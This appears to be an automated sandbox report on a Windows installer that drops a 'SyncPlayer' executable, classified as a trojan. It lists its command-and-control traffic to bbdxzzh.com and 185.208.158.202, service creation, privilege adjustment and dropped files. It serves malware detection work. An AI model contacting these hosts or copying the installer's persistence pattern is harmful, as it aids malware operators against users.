Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic	DNS traffic detected: DNS query: bbdxzzh.com
Source: global traffic	DNS traffic detected: DNS query: endpoints5-scl.5060sip.com

Source: is-C25HO.tmp.1.dr, is-M4GIC.tmp.1.dr	String found in binary or memory: ftp://http://HTTP/1.0
Source: syncplayer32_64.exe, 00000002.00000002.2901352412.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d8
Source: syncplayer32_64.exe, 00000002.00000002.2901352412.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: is-6UNEV.tmp.1.dr	String found in binary or memory: http://gilisoft.com/webtools/livecheck/IsValidKey.php?key=
Source: is-6UNEV.tmp.1.dr	String found in binary or memory: http://gilisoft.com/webtools/livecheck/IsValidKey3.php?key=
Source: is-6UNEV.tmp.1.dr	String found in binary or memory: http://gilisoft.com/webtools/livecheck/UploadKeyInfo.php?key=%s&mail=%s&os=%s&lan=%s&mac=%s&vnum=%s
Source: is-6UNEV.tmp.1.dr	String found in binary or memory: http://gilisoft.com/webtools/livecheck/ctrlKey2.php?key=%s&ctrl=delete
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: is-GC27D.tmp.1.dr	String found in binary or memory: http://sources.redhat.com/pthreads-win32/b%
Source: is-A1FNP.tmp.1.dr	String found in binary or memory: http://sources.redhat.com/pthreads-win32/d&
Source: OFjT8HmzFJ.tmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: OFjT8HmzFJ.exe, 00000000.00000003.1652030703.0000000002128000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.exe, 00000000.00000003.1651894875.0000000002350000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.tmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: OFjT8HmzFJ.exe, 00000000.00000003.1652030703.0000000002128000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.exe, 00000000.00000003.1651894875.0000000002350000.00000004.00001000.00020000.00000000.sdmp, OFjT8HmzFJ.tmp, 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, is-DLH94.tmp.1.dr, OFjT8HmzFJ.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: is-8AHH0.tmp.1.dr, is-6CN68.tmp.1.dr	String found in binary or memory: http://www.tweak-uac.comb
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: is-EDQQG.tmp.1.dr	String found in binary or memory: https://www.globalsign.com/repository/06

System Summary

PE file has a writeable .text section

Source: syncplayer32_64.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: EC SyncPlayer 11.4.45.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0042F000 NtdllDefWindowProc_A,	1_2_0042F000
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00423AF4 NtdllDefWindowProc_A,	1_2_00423AF4
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00412548 NtdllDefWindowProc_A,	1_2_00412548
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0047451C NtdllDefWindowProc_A,	1_2_0047451C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00455958 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	1_2_00455958

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0042E6A0: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

1_2_0042E6A0

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_0040936C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004540F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_004540F0

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_00408330	0_2_00408330
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0046CAC4	1_2_0046CAC4
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00434E08	1_2_00434E08
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0043D890	1_2_0043D890
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00463D14	1_2_00463D14
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0047BDBF	1_2_0047BDBF
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00444008	1_2_00444008
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00434104	1_2_00434104
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004445B0	1_2_004445B0
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0045C9D4	1_2_0045C9D4
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004309AC	1_2_004309AC
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00482C54	1_2_00482C54
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00444CA8	1_2_00444CA8
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00488E98	1_2_00488E98
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004450B4	1_2_004450B4
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004599A8	1_2_004599A8
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00481D20	1_2_00481D20
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_00465D8C	1_2_00465D8C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_0042FE3C	1_2_0042FE3C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_023D1E90	1_2_023D1E90
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_023D1200	1_2_023D1200
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_023D1730	1_2_023D1730
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_00401051	2_2_00401051
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_00401C26	2_2_00401C26
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B7B4E5	2_2_02B7B4E5
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B7BF80	2_2_02B7BF80
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B7BF31	2_2_02B7BF31
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B5E24D	2_2_02B5E24D
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B4F07A	2_2_02B4F07A
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B64EE9	2_2_02B64EE9
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B62E74	2_2_02B62E74
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B5E665	2_2_02B5E665
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B59F44	2_2_02B59F44
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B5ACFA	2_2_02B5ACFA
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B58503	2_2_02B58503
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: 2_2_02B5DD59	2_2_02B5DD59

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\ApngDecoder.dll (copy) ECB3C629A4C97D83DCE819E0D4B211055BE55EFF3444CF28A2564B3F0669FCFF

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: String function: 02B58BA0 appears 37 times
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Code function: String function: 02B653F0 appears 139 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00405964 appears 104 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00406A2C appears 38 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00403400 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 0045206C appears 90 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 0040785C appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00408B74 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00445914 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00403494 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00445BE4 appears 59 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 004562E4 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 004560D8 appears 96 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 0043401C appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: String function: 00403684 appears 212 times

Source: OFjT8HmzFJ.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: OFjT8HmzFJ.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: OFjT8HmzFJ.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: OFjT8HmzFJ.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: OFjT8HmzFJ.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: OFjT8HmzFJ.tmp.0.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: syncplayer32_64.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: is-VL7LS.tmp.1.dr	Static PE information: Resource name: DRIVERS type: PE32 executable (DLL) (native) Intel 80386, for MS Windows
Source: is-VL7LS.tmp.1.dr	Static PE information: Resource name: DRIVERS type: PE32+ executable (DLL) (native) x86-64, for MS Windows
Source: is-VL7LS.tmp.1.dr	Static PE information: Resource name: DRIVERS type: PE32 executable (native) Intel 80386, for MS Windows
Source: is-VL7LS.tmp.1.dr	Static PE information: Resource name: DRIVERS type: PE32+ executable (native) x86-64, for MS Windows
Source: is-EDQQG.tmp.1.dr	Static PE information: Resource name: USEDATA type: PE32 executable (console) Intel 80386, for MS Windows
Source: is-EDQQG.tmp.1.dr	Static PE information: Resource name: USEDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-DLH94.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-DLH94.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
Source: is-DLH94.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: is-DLH94.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-DLH94.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-O9SMK.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: EC SyncPlayer 11.4.45.exe.2.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: is-B8KUP.tmp.1.dr	Static PE information: Number of sections : 12 > 10
Source: is-E4LUD.tmp.1.dr	Static PE information: Number of sections : 11 > 10
Source: is-EHN7D.tmp.1.dr	Static PE information: Number of sections : 12 > 10
Source: is-S18VE.tmp.1.dr	Static PE information: Number of sections : 11 > 10
Source: is-1RRKJ.tmp.1.dr	Static PE information: Number of sections : 19 > 10
Source: is-A1FNP.tmp.1.dr	Static PE information: Number of sections : 16 > 10
Source: is-76H43.tmp.1.dr	Static PE information: Number of sections : 11 > 10

Source: OFjT8HmzFJ.exe, 00000000.00000003.1652030703.0000000002128000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs OFjT8HmzFJ.exe
Source: OFjT8HmzFJ.exe, 00000000.00000003.1651894875.0000000002350000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs OFjT8HmzFJ.exe

Source: OFjT8HmzFJ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: _RegDLL.tmp.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/101@2/3

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_02B508C0 FormatMessageA,GetLastError,FormatMessageA,GetLastError,

2_2_02B508C0

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Code function: 0_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_0040936C
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Code function: 1_2_004540F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_004540F0

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_00454918 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

1_2_00454918

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: CreateServiceA,

2_2_004021BA

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Code function: 1_2_0046A5E0 CoCreateInstance,

1_2_0046A5E0

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Code function: 0_2_00409AD0 FindResourceA,SizeofResource,LoadResource,LockResource,

0_2_00409AD0

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_00402774 StartServiceCtrlDispatcherA,

2_2_00402774

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Code function: 2_2_00402774 StartServiceCtrlDispatcherA,

2_2_00402774

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

File created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8

Jump to behavior

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

File created: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: OFjT8HmzFJ.exe

Virustotal: Detection: 29%

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe

File read: C:\Users\user\Desktop\OFjT8HmzFJ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\OFjT8HmzFJ.exe "C:\Users\user\Desktop\OFjT8HmzFJ.exe"
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp "C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp" /SL5="$2041C,6149981,54272,C:\Users\user\Desktop\OFjT8HmzFJ.exe"
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe "C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe" -i
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp "C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp" /SL5="$2041C,6149981,54272,C:\Users\user\Desktop\OFjT8HmzFJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Process created: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe "C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe" -i	Jump to behavior

Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OFjT8HmzFJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp

